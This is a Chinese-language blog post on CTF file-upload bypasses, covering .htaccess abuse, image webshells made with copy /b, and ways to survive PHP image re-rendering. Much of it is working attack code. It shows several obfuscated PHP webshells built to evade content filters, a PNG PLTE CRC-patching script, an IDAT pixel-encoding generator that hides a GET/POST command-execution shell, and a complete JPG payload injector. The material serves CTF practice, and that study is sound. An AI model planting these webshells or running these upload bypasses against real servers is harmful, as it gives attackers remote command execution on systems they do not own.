CTF中的文件上传进阶思路(2)

409 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

.htaccess绕过

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录

和.user.ini类似

可以通过上传.htaccess文件解析jpg文件

如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件 php_value auto_append_file 'flag'

先上传.htaccess文件

再上传图片马

访问成功执行命令

通过题目举例

MRCTF2020]你传你🐎呢

扩展

免杀绕过

后端对文件内容进行了检测,没有对文件的名进行检查

 

上传免杀马

其他免杀马

 

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

 

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

 

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

 

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

二次渲染绕过

发现上传成功后并不是以目录形式访问而是一个文件指针

说明可能存在文件包含,我们只需要上传一个图片马即可

 

制作图片马

copy shell.gif /b + shell.php /a 111.gif

不同的图片格式对于二次渲染的绕过不相同

 

  • GIF

 

关于绕过gif的二次渲染,只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了

第一种方法:写入PLTE数据块

 

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

 

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

 

1、在PLTE数据块写入php代码; 2、计算PLTE数据块的CRC;

 

CRC脚本

 

import binascii
import re


png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)


''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

 

运行结果:

 

526579b0

 

3、修改CRC值;

 

4、验证;

 

将修改后的png图片上传后,下载到本地再打开。

第二种方法:写入IDAT数据块

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);






$img = imagecreatetruecolor(32, 32);


for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}


imagepng($img,'./1.png');


/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

运行后得到1.png,上传后再下载到本地打开

 

  • JPG

 

脚本 jpg_payload.php

<?php
    /*


    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.


    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>


    In case of successful injection you will get a specially crafted image, which should be uploaded again.


    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.


    Sergey Bobrov @Black2Fan.


    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/


    */


    $miniPayload = "<?=phpinfo();?>";




    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }


    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }


    set_error_handler("custom_error_handler");


    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;


        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }


        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something's wrong');


    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }


    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }


    class DataInputStream {
        private $binData;
        private $order;
        private $size;


        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }


        public function seek() {
            return ($this->size - strlen($this->binData));
        }


        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }


        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }


        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }


        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

 

1、随便找一个jpg图片,先上传至服务器然后再下载到本地保存为 1.jpg

 

2、插入php代码;使用脚本处理1.jpg,命令:

 

php jpg_payload.php 1.jpg

 

3、上传图片马;将生成的 payload_1.jpg上传。

 

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片